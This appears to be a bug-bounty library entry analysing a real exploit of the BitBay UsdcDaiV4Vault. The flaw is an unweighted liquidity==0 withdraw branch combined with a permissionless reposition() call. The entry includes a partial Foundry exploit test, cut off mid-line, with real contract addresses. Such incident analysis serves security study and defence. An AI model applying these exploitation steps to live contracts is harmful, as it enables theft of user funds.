# BitBay vault: 1-wei share drains full DAI balance

BitBay UsdcDaiV4Vault's liquidity==0 withdraw branch pays the entire vault balance to any caller, so a 1-wei share swept 14,838 DAI.

- Payout: Real-world hack
- Severity: critical
- Program: BitBay
- Analysis by: DeFiHackLabs
- Disclosed: 2026-10-09
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-10/BitBay_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261009-bitbay
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained technique:source-review vuln:access-control vuln:accounting-error vuln:business-logic

**Target:** UsdcDaiV4Vault withdraw/reposition on Polygon with Uniswap v4 pool
**Root cause:** The _withdraw liquidity==0 branch transfers the vault's entire DAI and USDC balance to the recipient without share-weighting, and permissionless reposition() can drive liquidity to 0 when the tick is outside the LP range.
**Steps:**
1. Fork Polygon block 95204941; vault 0x048E88311ca84876aeA086125825492e2AF2e5A0, PoolManager 0x67366782805870060151383F4BbFF9daB53e5cD6.
2. Deposit 1 wei DAI via `deposit(1, deadline)` to mint a single share.
3. Swap DAI->USDC on the v4 pool to push tick to 276326 (tickUpper), outside LP range [276323,276326).
4. Warp past POSITION_TIMELOCK and call permissionless `reposition(deadline)`; liquidity becomes 0 while funds sit as raw balance.
5. Call `withdraw(1, deadline, false)`; liquidity==0 branch transfers entire DAI+USDC balance to caller.
**How found:** Source review of verified UsdcDaiV4Vault: noticed the liquidity==0 branch in _withdraw pays full balance unweighted, and that reposition() lacks access control and only requires the tick outside the LP range, which a public swap can force.
**Exploitation:** Attacker flash-loaned DAI (nested Balancer loans), deposited 1 wei for one share, swapped the v4 pool to push the tick out of range, called reposition() to zero liquidity, then withdrew the single share to sweep 14,838.466608989135865711 DAI, unwinding to ~14,813 USDC net profit.
**Insight:** When a vault has a special-case branch for liquidity==0, check whether it bypasses share-weighting; also check whether any function that mutates liquidity state is permissionless and gated only on market conditions an attacker can move.

## Proof of concept (copied exactly from the original report)

**Foundry exploit test: deposit 1 wei, swap, reposition, withdraw**

```
function testExploit() public {
        assertEq(VAULT.mintThis(), false, "mintThis must be false for permissionless reposition");
        emit log_named_int("tick (pre)", _tick());
        emit log_named_uint("vault liquidity (pre)", VAULT.liquidity());
        emit log_named_decimal_uint("vault DAI (pre)", DAI.balanceOf(address(VAULT)), 18);

        // Capital for the 1-wei deposit and the manipulation swap (on-chain: nested DAI flash loans).
        deal(address(DAI), address(this), 2_000_000 ether);

        uint256 deadline = block.timestamp;

        // 1) Mint a single share with a 1-wei deposit.
        DAI.approve(address(VAULT), 1);
        VAULT.deposit(1, deadline);
        emit log_named_uint("attacker shares", VAULT.shares(address(this)));

        // 2) Push the tick to tickUpper 276326 (out of the LP range) with a public pool swap: DAI -> USDC,
        // stopping at the exact sqrtPrice of that tick so the move stays inside the peg bound.
        pushDaiIn = 2_000_000 ether;
        PM.unlock(abi.encode(pushDaiIn));
        emit log_named_int("tick (after push)", _tick());

        // 3) reposition() as a non-minter: allowed because the tick is now out of range. Drives liquidity to 0.
        vm.warp(block.timestamp + 2 days); // clear POSITION_TIMELOCK
        VAULT.reposition(block.timestamp);
        emit log_named_uint("vault liquidity (after reposition)", VAULT.liquidity());
        emit log_named_decimal_uint("vault DAI (after reposition)", DAI.balanceOf(address(VAULT)), 18);
        assertEq(VAULT.liquidity(), 0, "reposition must leave liquidity == 0");

        // 4) Redeem the single share - the liquidity==0 branch sweeps the entire vault balance.
        uint256 daiBefore = DAI.balanceOf(address(this
```

